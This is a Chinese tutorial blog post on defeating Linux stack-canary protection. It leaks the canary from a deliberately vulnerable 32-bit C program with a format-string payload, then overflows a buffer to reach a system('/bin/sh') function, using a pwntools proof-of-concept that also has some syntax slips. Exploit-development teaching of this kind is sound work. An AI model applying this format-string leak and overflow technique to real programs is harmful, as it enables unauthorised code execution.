借助格式化输出过canary保护

0x01 canary保护机制

栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

0x02 溢出例子

整体思路:

找到溢出点,用我们的shellcode去覆盖栈里面的数据,但添加了canary保护,直接覆盖会把canary也覆盖,导致程序不能执行,所以我们要找出canary,在覆盖的时候,把canary放在payload里,canary覆盖canary,这样保证canary没有被覆盖,其他栈数据被覆盖,就可以过canary保护了。

程序:

#include<stdio.h>
void exploit()
{
    system("/bin/sh");
}
void func()
{
    char str[16];
    read(0, str, 64);
    printf(str);
    read(0, str, 64);
}
int main()
{
    func();
    return 0;
}

利用栈溢出去执行exploit程序,编译:

gcc -no-pie -fstack-protector  -m32 -o 5.exe 5.c

启动了栈保护
在这里插入图片描述
在func处下个断点
在这里插入图片描述
我们看到这个汇编语句,这里就是插入canary,将canary信息放到eax中,然后压入栈中,这是在调用第一个read函数前插入的
在这里插入图片描述
我们来看看eax值和压入的canary信息在哪里:0xffffcffc
在这里插入图片描述
记录一下read函数把读取的内容放在那个地址:0xffffcfec
在这里插入图片描述
我们看一下buf内容和canary地址(0x2fe2d00)相差多少,buf再加上16个字节就到canary的地址了。
在这里插入图片描述
查看exploit地址 0x80484cb
在这里插入图片描述
查看func的ret语句,此时esp的值:0x8048554,地址为0xffffd00c,和canary相差16个字节

在这里插入图片描述
我们要利用read栈溢出,去执行exploit函数,所以我们要覆盖0xffffd00c这个地址数据,内容更换为exploit首地址,但是加了canary保护,我们在覆盖的时候不能覆盖掉canary信息。所以我们在覆盖栈内数据的时候,canary还覆盖成canary信息就行了。

但每次程序执行canary的值都不会相同,这又头疼了,这个时候我们的格式化输出就有用处了。我们可以将canary输出来,然后动态加到我们payload中,这样保证每次都是那个canary

我们可以找到canary距栈顶的距离,这个是不会变的,然后用格式化输出就行了。
在这里插入图片描述
利用read将printf要的数据输进去,内容:"%11$08x",这样printf就会打印距栈顶11个,就是44个byte,然后打印8个16进制数据,就是canary信息了

poc:

from pwn import *
p=process("./5.exe")
p.sendline("%11$08x")
canary=p.recv()[:8]
print(canary)
canary=canary.decode("hex")[::-1]	//将canary转成16进制
coffset=4*4							//read函数距canary16个byte
roffset=3*4
raddr=p32(0x80484cb)		//exploit地址
payload=coffset*'a'+canary+roffset*'a'+raddr

p.sendline(payload)

p.interactive()

执行,成功
在这里插入图片描述

0x04 总结

加了canary保护,在调用函数前,会加一个canary信息到栈里面,如果我们利用栈溢出覆盖了栈里面的数据,覆盖了这个canary信息,程序就不能执行。并且每次程序执行,这个canary信息都是不同的,所以我们不能静态的加入到我们的payload里。

  1. 找到exploit函数地址
  2. 找到buf首地址距canary地址的距离,就是有溢出的地方,在栈里存放数据的首地址,与canary的距离
  3. 计算ret语句需要的栈数据与canary距离
  4. 当执行到格式化输出语句时,查看当前栈里数据,计算canary与栈顶的距离(每4byte为1)
  5. 修改poc程序,执行
发布了203 篇原创文章 · 获赞 19 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/qq_41683305/article/details/105157277
今日推荐